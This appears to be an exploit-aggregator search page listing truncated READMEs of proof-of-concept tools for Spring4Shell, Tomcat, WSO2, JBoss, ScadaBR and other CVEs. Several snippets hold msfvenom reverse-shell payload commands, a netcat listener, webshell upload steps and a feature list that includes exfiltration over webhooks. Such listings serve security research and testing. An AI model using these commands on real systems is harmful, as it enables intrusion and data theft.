3078 matches found
Spring4Shell-CVE-2022-22965-POC
Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...
rwsploit
Oracle Reports rwservlet Scanner ⚠️ For authorized use only. Only run this tool against systems you own or have explicit written permission to test. Unauthorized use is illegal. A focused exploitation scanner for Oracle Reports Server rwservlet targeting CVE-2012-3152 and CVE-2012-3153 — affecting...
Spring4Shell-POC
Spring4Shell-POC Local reproduction process of Spring4Shell vulnerability Environment Preparation Environment: docker, docker-compose mvn package, generate ./target/ROOT.warshell mvn package root@kitploit: Start the serviceshell docker-compose up -d Stop serviceshell docker-compose down...
CVE-2017-12615-EXP
CVE-2017-12615-EXP root@kitploit: .\CVE-2017-12615.exe @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@ @@@@@ @@@ @@@@@@@ !@@ @@! @@@ @@! @@ @@@ @@! @@@ @@@@ @@! @@@@ @@ @@@ @@!@ @@@@ !@@ !@! @!@ !@! @!!!:! @!@!@!@! .!!@! @!@ !@! !@! @!! @!@!@!@! !@! .!!@! @!@!@!@ !@! !!@@!! :!! !:...
CVE-2024-50379
CVE-2024-50379 CVE-2024-50379 Exploit CVE-2024-50379.py and upload.txt are in the same directory The upload content is the webshell Here, the upload content generates a 2.jsp file You can use 2.jsp to create a new 4.jsp, the original Behinder webshell...
wso2-rce-cve-2022-29464
CVE-2022-29464 WSO2 RCE CVE-2022-29464 익스플로잇. 상세 정보 CVE-2022-29464는 Orange Tsai가 발견한 WSO2의 심각한 취약점입니다. 이 취약점은 인증되지 않은 제한 없는 임의 파일 업로드로, 인증되지 않은 공격자가 악성 JSP 파일을 업로드하여 WSO2 서버에서 RCE를 얻을 수 있게 합니다. 취약한 업로드 경로는 /fileupload이며, 이는 indentity.xml 구성 파일에서 볼 수 있듯이 보호되지 않은 경로인 FileUploadServlet에 의해 처리됩니다.xml...
CVE-2022-29464
WSO2 RCE CVE-2022-29464 exploit and writeup. Details CVE-2022-29464 is a serious flaw in WSO2. The flaw is an unauthorised, unconstrained arbitrary file upload that enables unauthorised users to upload malicious JSP files to WSO2 servers and get Remote Code Execution RCE. the vulerable upload rou...
CVE-2022-22965
CVE-2022-22965-POC CVE-2022-22965 spring-core 일괄 탐지 스크립트 면책 고지: 이 스크립트는 학습 목적으로만 사용해야 하며, 불법 사용을 금지합니다. 악의적인 파괴 또는 불법 사용이 발생하더라도 작성자와 무관합니다!!! 사용법: python3 CVE-2022-22965-POC.py url.txt 성공적으로 업로드된 후 shell에 접속하세요 http://192.168.0.101:8090/test.jsp 여기서 사용한 shell은 123뿐이며, 트로이 목마는 사용하지 않았습니다. 오직 보안 점...
jboss-autopwn
jboss-autopwn JBoss Autopwn은 BlackHat Europe 2010에서 소개된 도구입니다. 이 버전은 Minded Security가 발견한 JBoss 인증 우회 VERB 조작 취약점CVE-2010-0738을 포함합니다. C. Papathanasiou 2010 INTRODUCTION 이 JBoss 스크립트는 대상 JBoss AS 서버에 JSP 셸을 배포합니다. 배포 후 스크립트는 업로드 및 명령 실행 기능을 통해 대화형 세션을 제공합니다. 기능: 다중 플랫폼 지원 - Windows, Linux 및 Mac...
CVE-2024-50379-exp
CVE-2024-50379-exp -t 조건 경쟁 시간 -u 도메인 이름 -f 웹쉘 쓰기 테스트 결과 첫 번째 조건 경쟁 시 웹쉘 쓰기가 실패할 확률이 매우 높으며, 다시 한 번 조건 경쟁을 수행해야 웹쉘이 쓰여지는 것을 발견했습니다. 따라서 스크립트는 먼저 고정된 6초 동안 조건 경쟁을 수행하여 쓰기 성공 여부를 확인하고, 실패할 경우 사용자 지정 또는 기본 10초로 다시 시도합니다. 생성된 웹쉘은 무작위 md5.jsp입니다. root@kitploit: python .\CVE-2024-50379.py -u...
CVE-2021-26828_ScadaBR_RCE
PoC CVE-2021-26828ScadaBR원격코드실행 ScadaBR 0.9.1 Linux 및 1.0, 1.12.4CE Windows 버전은 원격 인증 사용자가 'viewedit.shtm'을 통해 임의의 JSP 파일을 업로드하고 실행하여 원격 코드 실행을 허용합니다. 익스플로잇 사용법 명령어: Windows: $ sudo python WinScadaRCE.py Linux: 먼저 로컬 머신에서 익스플로잇 실행 전에 임의의 포트를 엽니다: $ sudo nc -vnlp 4444 $ sudo python LinScadaRCE.py ...
CVE-2025-31324
SAP CVE-2025-31324 분석기 SAP Visual Composer 시스템에서 CVE-2025-31324 취약점을 식별하고 악성 .jsp와 같은 알려진 침해 지표IOC를 탐지하는 Python 기반 보안 스캐너입니다. 🚀 기능 취약한 Visual Composer 엔드포인트 탐지 알려진 악성 .jsp 파일웹쉘 스캔 CSV 파일에서 다중 대상 스캔 사용자 정의 IOC 파일 지원 결과를 CSV로 저장 선택 사항 선택적 상세 출력 🛠 요구 사항 Python 3.6+ requests 라이브러리 requirements.txt로 설...
CVE-2022-22965
Spring Boot CVE-2022-22965 Spring Boot 버전 2.6.5에서 CVE-2022-22965에 대한 Docker PoC 🚀 시작하기 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 에서 배포 코드를 다운로드하고 압축을 풉니다. 2. docker compose up --build를 실행하여 취약한 애플리케이션을 빌드하고 시작합니다. 3. curl -H "Accept: text/html;"...
Fast-CVE-2022-22965
標的マシン root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest リバースシェルは実質的にmsfvenomを参照しています root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jspをURLエンコードした後、次を使用します root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表...
CVE-2009-2265
版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...
CVE-2024-53677-S2-067-thread
면책 조항 본 문서의 관련 기술을 불법 테스트에 이용하지 마십시오. 본 문서에서 제공하는 정보나 도구를 전파하거나 사용함으로써 발생하는 직간접적 결과 및 손실은 모두 사용자 본인에게 있으며, 발생하는 모든 불이익은 문서 작성자와 무관합니다. 본 문서는 학습 목적으로만 사용하십시오. CVE-2024-53677-S2-067-thread PoC 검증, https://github.com/TAM-K592/CVE-2024-53677-S2-067/ 영향을 받는 Apache Struts 버전: 2.0.0 2.5.33, 6.0.0 6.3.0....
spring4shell-poc
Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...
spring4shell-poc
Spring4Shell POC 취약점 설명: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POC 구성: https://github.com/BobTheShoplifter/Spring4Shell-POC 빌드/실행 단계 JDK 11.0.14, Spring Boot 2.6.5, Apache Tomcat 9.0.60에서 테스트됨 mvn clean package를 실행하여 애플리케이션을 빌드합니다. demo-0.0.1-SNAPSHOT.war를...
CVE-2021-26828-Ultimate
ScadaFlare - CVE-2021-26828 認証済みRCEエクスプロイトツールキット ScadaBR 1.1.0 を標的としたモジュール式の認証後RCEエクスプロイトで、レッドチーム運用向けに機能強化されました。 機能 viewedit.shtm を介して武器化された .jsp シェルをアップロード Linux および Windows ペイロードに対応 SOCKS5 / HTTP プロキシ対応 リバースシェルトリガー（標準または base64） 列挙モジュール（DB、認証情報、Log4Shell など） Webhook データ外部送信（Slack / Discord）...